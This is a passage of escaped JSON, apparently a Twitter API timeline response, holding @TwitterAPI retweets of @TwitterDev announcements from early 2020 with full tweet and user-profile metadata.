App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":113,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Mar 23 16:28:09 +0000 2020\",\"id\":1242125997081673728,\"id_str\":\"1242125997081673728\",\"text\":\"RT @TwitterDev: A few months ago, we added Tweet annotations to the Labs\\u2019 streaming endpoints. These annotations help uncover details about\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon Mar 23 16:26:08 +0000 2020\",\"id\":1242125486844604425,\"id_str\":\"1242125486844604425\",\"text\":\"A few months ago, we added Tweet annotations to the Labs\\u2019 streaming endpoints. These annotations help uncover detai\\u2026 https:\\\/\\\/t.co\\\/ViHyvQ4Y8S\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ViHyvQ4Y8S\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1242125486844604425\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1204497856679202816,\"quoted_status_id_str\":\"1204497856679202816\",\"quoted_status\":{\"created_at\":\"Tue Dec 10 20:27:22 +0000 2019\",\"id\":1204497856679202816,\"id_str\":\"1204497856679202816\",\"text\":\"You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API su\\u2026 https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1204497856679202816\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":245,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":32,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1204497856679202816,\"quoted_status_id_str\":\"1204497856679202816\",\"retweet_count\":32,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 10 17:57:58 +0000 2020\",\"id\":1237437557337513984,\"id_str\":\"1237437557337513984\",\"text\":\"RT @TwitterDev: We \\u2764\\ufe0f the incredible research people do using Twitter data to study topics like spam, abuse, and other areas related to the\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Mar 10 17:47:53 +0000 2020\",\"id\":1237435017883762689,\"id_str\":\"1237435017883762689\",\"text\":\"We \\u2764\\ufe0f the incredible research people do using Twitter data to study topics like spam, abuse, and other areas relate\\u2026 https:\\\/\\\/t.co\\\/NpF4h9DaSq\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/NpF4h9DaSq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1237435017883762689\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1237435016134656006,\"in_reply_to_status_id_str\":\"1237435016134656006\",\"in_reply_to_user_id\":2244994945,\"in_reply_to_user_id_str\":\"2244994945\",\"in_reply_to_screen_name\":\"TwitterDev\",\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":25,\"favorite_count\":72,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":25,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Feb 26 17:33:41 +0000 2020\",\"id\":1232720402700521474,\"id_str\":\"1232720402700521474\",\"text\":\"RT @TwitterDev: In November, we gave people the ability to hide replies to their Tweets. Starting today, we\\u2019re opening this feature up to d\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Feb 26 17:32:51 +0000 2020\",\"id\":1232720193182412800,\"id_str\":\"1232720193182412800\",\"text\":\"In November, we gave people the ability to hide replies to their Tweets. Starting today, we\\u2019re opening this feature\\u2026 https:\\\/\\\/t.co\\\/aN8kan0Lsw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/aN8kan0Lsw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1232720193182412800\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":147,\"favorite_count\":388,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":147,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Jan 06 20:23:49 +0000 2020\",\"id\":1214281438092238855,\"id_str\":\"1214281438092238855\",\"text\":\"RT @TwitterDev: Hello\\u2026 is it me you\\u2019re searching for? \\ud83d\\udd0e\\n\\nSearch the conversation as it unfolds with this new addition to Labs. We're making\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon